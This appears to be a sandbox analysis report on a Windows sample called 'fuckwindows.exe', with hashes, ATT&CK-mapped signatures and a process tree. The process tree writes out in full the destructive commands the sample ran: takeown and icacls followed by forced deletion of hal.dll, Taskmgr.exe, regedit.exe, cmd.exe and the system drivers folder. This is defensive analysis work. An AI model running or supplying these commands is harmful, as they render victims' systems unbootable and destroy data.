5f5ebfbd21d876e32e201b60b40eb14eaff120adee64111a8ed55a1df8dc7a6d

Analysis

max time kernel
12s
max time network
8s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
01/08/2024, 20:03

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Reason

Machine shutdown

General

Target
fuckwindows.exe
Size 1.2MB
Sample240801-ysrjaazelf
SHA256 5f5ebfbd21d876e32e201b60b40eb14eaff120adee64111a8ed55a1df8dc7a6d
MD5 d46a0dae5cdd04aaf3aff141ce8aa510
SHA1 0a85d3f8bb4f51e7e6ab32832c66bbf28084e38c
SHA512 6769ee51de09cd35214f74270b60ac6c8afbd7ad1db2af17aa74fdca53ed7e96f674e3baac7f31300cd06948c4cf1a5fa9b51be8e5a02cbd6f85ee393aef601b
SSDEEP 24576:NTQ600VCO/ofRQJaR3gz8M0oODgAjSSMhqtRFyHTU4zbB/JB1lsE5X/xh+PuPPtX:It+1kYfaP
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 9 IoCs

exploit

pid	Process
4040	icacls.exe
3744	takeown.exe
3172	takeown.exe
4976	icacls.exe
4856	icacls.exe
2616	takeown.exe
4028	takeown.exe
2628	takeown.exe
3392	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000\Control Panel\International\Geo\Nation	fuckwindows.exe

Modifies file permissions 1 TTPs 9 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4028	takeown.exe
4040	icacls.exe
3172	takeown.exe
2628	takeown.exe
3744	takeown.exe
4976	icacls.exe
4856	icacls.exe
3392	icacls.exe
2616	takeown.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4028	takeown.exe
Token: SeTakeOwnershipPrivilege	2628	takeown.exe
Token: SeTakeOwnershipPrivilege	3744	takeown.exe
Token: SeTakeOwnershipPrivilege	3172	takeown.exe
Token: SeTakeOwnershipPrivilege	2616	takeown.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 4984	536	fuckwindows.exe	87
PID 536 wrote to memory of 4984	536	fuckwindows.exe	87
PID 536 wrote to memory of 3892	536	fuckwindows.exe	89
PID 536 wrote to memory of 3892	536	fuckwindows.exe	89
PID 536 wrote to memory of 4152	536	fuckwindows.exe	91
PID 536 wrote to memory of 4152	536	fuckwindows.exe	91
PID 536 wrote to memory of 4280	536	fuckwindows.exe	92
PID 536 wrote to memory of 4280	536	fuckwindows.exe	92
PID 4984 wrote to memory of 4028	4984	cmd.exe	95
PID 4984 wrote to memory of 4028	4984	cmd.exe	95
PID 4984 wrote to memory of 4040	4984	cmd.exe	96
PID 4984 wrote to memory of 4040	4984	cmd.exe	96
PID 3892 wrote to memory of 2628	3892	cmd.exe	97
PID 3892 wrote to memory of 2628	3892	cmd.exe	97
PID 4152 wrote to memory of 3744	4152	cmd.exe	98
PID 4152 wrote to memory of 3744	4152	cmd.exe	98
PID 4280 wrote to memory of 3172	4280	cmd.exe	99
PID 4280 wrote to memory of 3172	4280	cmd.exe	99
PID 3892 wrote to memory of 4976	3892	cmd.exe	100
PID 3892 wrote to memory of 4976	3892	cmd.exe	100
PID 4280 wrote to memory of 4856	4280	cmd.exe	101
PID 4280 wrote to memory of 4856	4280	cmd.exe	101
PID 4152 wrote to memory of 3392	4152	cmd.exe	102
PID 4152 wrote to memory of 3392	4152	cmd.exe	102
PID 536 wrote to memory of 4728	536	fuckwindows.exe	103
PID 536 wrote to memory of 4728	536	fuckwindows.exe	103
PID 536 wrote to memory of 1620	536	fuckwindows.exe	104
PID 536 wrote to memory of 1620	536	fuckwindows.exe	104
PID 536 wrote to memory of 3440	536	fuckwindows.exe	105
PID 536 wrote to memory of 3440	536	fuckwindows.exe	105
PID 536 wrote to memory of 2896	536	fuckwindows.exe	106
PID 536 wrote to memory of 2896	536	fuckwindows.exe	106
PID 536 wrote to memory of 4820	536	fuckwindows.exe	107
PID 536 wrote to memory of 4820	536	fuckwindows.exe	107
PID 536 wrote to memory of 3992	536	fuckwindows.exe	108
PID 536 wrote to memory of 3992	536	fuckwindows.exe	108
PID 536 wrote to memory of 5024	536	fuckwindows.exe	109
PID 536 wrote to memory of 5024	536	fuckwindows.exe	109
PID 536 wrote to memory of 1484	536	fuckwindows.exe	110
PID 536 wrote to memory of 1484	536	fuckwindows.exe	110
PID 536 wrote to memory of 220	536	fuckwindows.exe	111
PID 536 wrote to memory of 220	536	fuckwindows.exe	111
PID 536 wrote to memory of 3828	536	fuckwindows.exe	112
PID 536 wrote to memory of 3828	536	fuckwindows.exe	112
PID 536 wrote to memory of 2212	536	fuckwindows.exe	114
PID 536 wrote to memory of 2212	536	fuckwindows.exe	114
PID 536 wrote to memory of 3484	536	fuckwindows.exe	115
PID 536 wrote to memory of 3484	536	fuckwindows.exe	115
PID 536 wrote to memory of 4780	536	fuckwindows.exe	116
PID 536 wrote to memory of 4780	536	fuckwindows.exe	116
PID 536 wrote to memory of 640	536	fuckwindows.exe	117
PID 536 wrote to memory of 640	536	fuckwindows.exe	117
PID 536 wrote to memory of 4208	536	fuckwindows.exe	118
PID 536 wrote to memory of 4208	536	fuckwindows.exe	118
PID 536 wrote to memory of 760	536	fuckwindows.exe	119
PID 536 wrote to memory of 760	536	fuckwindows.exe	119
PID 536 wrote to memory of 4800	536	fuckwindows.exe	120
PID 536 wrote to memory of 4800	536	fuckwindows.exe	120
PID 536 wrote to memory of 3552	536	fuckwindows.exe	122
PID 536 wrote to memory of 3552	536	fuckwindows.exe	122
PID 4800 wrote to memory of 2616	4800	cmd.exe	124
PID 4800 wrote to memory of 2616	4800	cmd.exe	124

C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe
"C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\hal.dll" && icacls "c:\windows\system32\hal.dll" /grant Everyone:(F) && del /f "c:\windows\system32\hal.dll" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\system32\hal.dll" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\Taskmgr.exe" && icacls "c:\windows\system32\Taskmgr.exe" /grant Everyone:(F) && del /f "c:\windows\system32\Taskmgr.exe" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3892
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\Taskmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\system32\Taskmgr.exe" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\regedit.exe" && icacls "c:\windows\regedit.exe" /grant Everyone:(F) && del /f "c:\windows\regedit.exe" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\regedit.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3744
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\regedit.exe" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\cmd.exe" && icacls "c:\windows\system32\cmd.exe" /grant Everyone:(F) && del /f "c:\windows\system32\cmd.exe" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\cmd.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\system32\cmd.exe" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4856
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4728
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1620
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3440
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2896
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4820
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3992
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5024
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1484
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:220
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3828
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2212
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3484
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4780
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:640
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4208
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\drivers\*" && icacls "c:\windows\system32\drivers\*" /grant Everyone:(F) && del /s /q /f "c:\windows\system32\drivers\*" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\drivers\*"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
  2⤵
  PID:3552
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:4308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_jgizefkk.f1n.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgizefkk.f1n.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/536-0-0x00007FF629950000-0x00007FF629AEF000-memory.dmp

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memory/536-1-0x00007FF629950000-0x00007FF629AEF000-memory.dmp

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memory/3552-6-0x00000169FEC20000-0x00000169FEC42000-memory.dmp

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads